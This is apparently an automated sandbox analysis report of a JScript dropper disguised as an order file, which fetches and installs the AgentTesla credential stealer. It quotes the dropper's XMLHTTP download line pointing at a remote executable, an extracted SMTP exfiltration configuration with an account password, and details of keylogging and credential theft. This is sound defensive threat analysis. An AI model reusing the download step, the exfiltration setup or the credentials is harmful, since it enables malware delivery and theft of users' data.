Edit tour

Windows Analysis Report
ORDER-7019-2024.js

Overview

General Information

Sample name:	ORDER-7019-2024.js
Analysis ID:	1465898
MD5:	134bbcb99ed7dafbfb86cd606142520f
SHA1:	99b1c91c598f24b56f8d0a4e1d2302a66ff8619a
SHA256:	0754f739104fefc71e7890e97fae82d2e2f9581cbc4f01e4cc4ce9d89f2b4cdc
Tags:	AgentTeslajs
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Found malware configuration

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Machine Learning detection for dropped file

PE file has nameless sections

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7260 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

MUGKZA.exe (PID: 7348 cmdline: "C:\Users\user\AppData\Local\Temp\MUGKZA.exe" MD5: 6A1FF8C93C4D4BA50C8145A354B5C586)

MUGKZA.exe (PID: 7392 cmdline: "C:\Users\user\AppData\Local\Temp\MUGKZA.exe" MD5: 6A1FF8C93C4D4BA50C8145A354B5C586)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.gmail.com", "Username": "alexborron26@gmail.com", "Password": "jnqd pwbd nwmk vlam"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.2954699058.0000000002921000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MUGKZA.exe PID: 7348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MUGKZA.exe PID: 7348	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MUGKZA.exe PID: 7392	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MUGKZA.exe PID: 7392	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.MUGKZA.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.MUGKZA.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.MUGKZA.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3558f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35601:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3568b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3571d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35787:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x357f9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3588f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3591f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.MUGKZA.exe.39e6378.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.MUGKZA.exe.39e6378.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.MUGKZA.exe.39e6378.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3378f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33801:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3388b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3391d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33987:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x339f9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33a8f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33b1f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
1.2.MUGKZA.exe.39e6378.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.MUGKZA.exe.39e6378.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
1.2.MUGKZA.exe.39e6378.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3558f:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x721af:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x35601:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x72221:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3568b:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x722ab:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3571d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7233d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35787:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x723a7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x357f9:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x72419:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3588f:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x724af:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3591f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x7253f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", ProcessId: 7260, ProcessName: wscript.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 192.210.215.11, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 7260, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 142.251.168.109, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\MUGKZA.exe, Initiated: true, ProcessId: 7392, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ORDER-7019-2024.js", ProcessId: 7260, ProcessName: wscript.exe

Snort Signatures

ET TROJAN Possible Malicious Macro EXE DL AlphaNumL - Source IP: 192.168.2.4 - Destination IP: 192.210.215.11

Timestamp:	07/02/24-08:18:32.477927
SID:	2022566
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Possible Malicious Macro DL EXE Feb 2016 - Source IP: 192.168.2.4 - Destination IP: 192.210.215.11

Timestamp:	07/02/24-08:18:32.477927
SID:	2022550
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://192.210.215.11/zoom/don701.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 2.2.MUGKZA.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.gmail.com", "Username": "alexborron26@gmail.com", "Password": "jnqd pwbd nwmk vlam"}

Multi AV Scanner detection for domain / URL

Source: http://192.210.215.11/zoom/don701.exe

Virustotal: Detection: 6%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Virustotal: Detection: 72%	Perma Link

Multi AV Scanner detection for submitted file

Source: ORDER-7019-2024.js	Virustotal: Detection: 32%			Perma Link
Source: ORDER-7019-2024.js	ReversingLabs: Detection: 23%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\don701[1].exe	Joe Sandbox ML: detected

Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdbBSJB source: MUGKZA.exe, 00000001.00000002.1688357190.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000002.1690543391.0000000004E70000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdb source: MUGKZA.exe, 00000001.00000002.1688357190.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000001.00000002.1690543391.0000000004E70000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: ORDER-7019-2024.js

Argument value : ['"try{\nvar Object = new ActiveXObject("MSXML2.XMLHTTP");\nObject.Open("GET", "http://192.210.215.11/zo']

Go to definition

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022566 ET TROJAN Possible Malicious Macro EXE DL AlphaNumL 192.168.2.4:49730 -> 192.210.215.11:80
Source: Traffic	Snort IDS: 2022550 ET TROJAN Possible Malicious Macro DL EXE Feb 2016 192.168.2.4:49730 -> 192.210.215.11:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 192.210.215.11 80

Jump to behavior

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: ORDER-7019-2024.js

Argument value : ['"try{\nvar Object = new ActiveXObject("MSXML2.XMLHTTP");\nObject.Open("GET", "http://192.210.215.11/zo']

Go to definition

Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 142.251.168.109:587
Source: global traffic	TCP traffic: 192.168.2.4:55519 -> 173.194.76.109:587
Source: global traffic	TCP traffic: 192.168.2.4:55521 -> 74.125.206.108:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 06:18:32 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25Last-Modified: Tue, 02 Jul 2024 00:19:32 GMTETag: "5cc00-61c38aaf7f766"Accept-Ranges: bytesContent-Length: 379904Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 91 47 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 fa 00 00 00 ce 04 00 00 00 00 00 0a 40 06 00 00 00 05 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 06 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 03 05 00 53 00 00 00 00 00 06 00 70 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 06 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 48 00 00 00 00 00 00 00 00 00 00 00 63 07 08 12 36 5a 4b 04 50 c3 04 00 00 20 00 00 00 c4 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 08 f6 00 00 00 00 05 00 00 f8 00 00 00 c8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 70 06 00 00 00 00 06 00 00 08 00 00 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 06 00 00 02 00 00 00 c8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 40 06 00 00 02 00 00 00 ca 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 142.251.168.109:587
Source: global traffic	TCP traffic: 192.168.2.4:55519 -> 173.194.76.109:587
Source: global traffic	TCP traffic: 192.168.2.4:55521 -> 74.125.206.108:587

Source: global traffic

HTTP traffic detected: GET /zoom/don701.exe HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 192.210.215.11Connection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: smtp.gmail.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: wscript.exe, 00000000.00000003.1685209579.000002664E006000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1686347662.000002664E0F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689777321.000002664E5D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.215.11/zoom/don701.exe
Source: wscript.exe, 00000000.00000003.1686347662.000002664E0F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.215.11/zoom/don701.exe4
Source: wscript.exe, 00000000.00000003.1684280974.000002664C19A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1684396498.000002664C1AF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689417224.000002664C1B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.210.215.11/zoom/don701.exeni%;
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r1.crl0
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/wr2/GSyT1N4PBrg.crl0
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gsr1/gsr1.crl0;
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000AD3000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/r1.crt0
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/wr2.crt0
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog/wr20%
Source: MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://o.pki.goog3
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr10)
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953320109.0000000000B05000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2957784827.0000000006162000.00000004.00000020.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2961266841.0000000009868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/gsr1/gsr1.crt02
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002A2A000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A64000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002BE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.gmail.com
Source: MUGKZA.exe, 00000001.00000002.1689813017.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2953034164.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: wscript.exe, 00000000.00000003.1687043661.000002664E5D7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1689777321.000002664E5D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: MUGKZA.exe, 00000002.00000002.2954699058.0000000002AF7000.00000004.00000800.00020000.00000000.sdmp, MUGKZA.exe, 00000002.00000002.2954699058.0000000002A46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/a/answer/166852

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 1.2.MUGKZA.exe.39e6378.1.raw.unpack, SKTzxzsJw.cs

.Net Code: BhVNewv

Installs a global keyboard hook

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MUGKZA.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

